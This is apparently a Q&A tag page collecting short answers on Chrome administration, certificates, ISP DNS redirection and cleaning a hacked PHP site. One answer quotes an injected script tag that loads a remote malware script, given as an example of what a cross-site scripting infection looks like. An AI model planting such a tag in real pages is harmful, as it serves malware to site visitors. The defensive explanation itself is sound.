Tag Info

Hot answers tagged

34

This is actually legitimate behaviour. Some ISPs improperly respond to DNS queries to non-existent domains with an A record to a page that they control, usually with advertising, as a "did you mean?" kind of thing, instead of passing NXDOMAIN as the RFC requires. To combat this, Chrome makes several HEAD requests to domains which cannot exist to check how ...


9

Very easy! Enable "Software Restriction Policy" in Group Policy - make sure you customize as needed if you have binaries in non-standard locations (Program Files, Windows dir etc is automatically included). Edit: For clarity to future readers, one point brought up in comments is that you should run Software Execution Policy in a whitelist mode. This means ...


5

It calls home. If it can't call home it will try for 7 minutes and then give up.


5

If your page is in English, you could trying setting the HTML lang attribute as shown: <html lang="en"> <title>My Page</title> [rest of page] </html> Replace en with the ISO 639-1 code of your choice. Alternatively, if you want to go the Sledghammer route you can disable translation by using a Google specific meta tag: <meta ...


4

You wouldn't. You'd set up the network so everyone goes through a proxy server, then keep the logs to see what IP is hitting what sites. Depending on the implementation you can have people log in, or just track by machine IP, or invisibly log the user if the proxy integrated to understand Windows and AD. That removes the logging burden from the Windows ...


3

This behavior can be disabled by setting the policy value to 0. Additionally, NOGOOGLEUPDATEPING=1 can be passed to the installer to prevent the omaha ping. See http://crbug.com/80567 and http://crbug.com/96243 for details.


3

Many problems with SSL certificates can be solved by simply removing the file from the cache folder cert8.db in firefox. The same happens in chrome/chromium, but the file to be removed is the cert9.db folder ~/.pki/nssdb. Attention! Removing these files will need to re-register CAs in your browser. Hope that helps, although the tip is not for windows ...


3

AFAIK certificates are not specific for Google Chrome (at least on Windows) but to the whole system. You've already deleted that cert through Chrome interface so it should gone. But try Start -> Run -> certmgr.msc anyway. Another tool to try CCleaner -- it should help with better cleaning of the Chrome caches.


3

The solution is to use Firefox 3.5 or below (link to old Firefox downloads), since Firefox 3.6 or higher doesn't work with the VMware remote console plugin - since this is already not getting security updates, it's best to install it separately to the main Firefox, and use a new profile. To avoid messing up any Ubuntu version of firefox, just untar the ...


3

For future reference: Policy templates are available at http://support.google.com/a/bin/answer.py?hl=en&answer=187945 Lots of useful tips at http://www.chromium.org/administrators Feel free to file bugs/feature requests at the chromium bug tracker using the Enterprise Issue template


2

Your are most probably dealing with XSS attacks. In that case, two steps : Scan the DB, looking for "scripts" tags, and get rid of them. Hire a guy who knows PHP to fix the holes in your data input and set some efficient sanitizing policy.


2

My Cygwin is at home and I'm at the office, but you should make sure that the spaces in your directory names are properly escaped with a backslash when using the double-quotes for the wildcard.


2

Chrome 23 supports Click-to-Play through the DefaultPluginsSetting policy. The details at http://www.chromium.org/administrators/policy-list-3#DefaultPluginsSetting haven't been updated yet, but that policy can use value 3 to enforce click to play for plugins.


1

It sounds like you forgot to install the intermediate certificate bundle on your web server. Visit the certificate vendor's web site to download the intermediate bundle. For nginx, this must be concatenated with your certificate and placed in the ssl_certificate directive, for instance: # cat company.sv.crt ca_bundle.crt > company.sv.chained.crt And ...


1

You may need to create a different Chrome profile for each machine. Look here for instructions on how to start Chrome with a different user data directory: http://www.chromium.org/user-experience/user-data-directory. You can then set each profile to sync with the same Google Account to sync your bookmarks, etc.


1

Two ways to set this up on Chrome: Set MCX preferences using the Workgroup Manager to configure the RestoreOnStartupURLs policy. See http://www.chromium.org/administrators/policy-list-3#RestoreOnStartup. Set a master preferences file with the desired homepage/startup URLs, and it will be automatically imported for new chrome profiles. More details on ...


1

In working with Microsoft regarding this issue and how IE9 behaves, we have found information from Verizon in how to opt out of this service. They call it "DNS Assistance". In working with another user on this issue who has BrightHouse ISP in FL,they have the same thing going on. But, they too, provide information on how to opt out of this service. I ...


1

There's one here. Chrome ADM


1

The command is pk12util -o certfile.p12 -d sql:$HOME/.pki/nssdb -n <certificate's name> The certificate's name is obtained running certutil -d sql:$HOME/.pki/nssdb -L


1

The version of PHP-Fusion that's running on the site appears to be v6.01.3, which looks to be a pretty old version, so it would probably be a good idea to upgrade that. There seems to have been quite a few security advisories for PHP-Fusion, including a number of SQL injections issues. Full list of advisories for PHP-Fusion here: ...


1

If the site was "infected" via cross-site scripting, then what you have is probably a user-submitted comment somewhere that contains something like this: <SCRIPT SRC="http://stopssse.info/malware.js"></SCRIPT> But note that there are many variations that attempt to hide the fact that an external script is executed, and which may also modify ...


1

The malware might not be on the site, but might be coming from material brought in from external sources, such as advertisements.



Only top voted, non community-wiki answers of a minimum length are eligible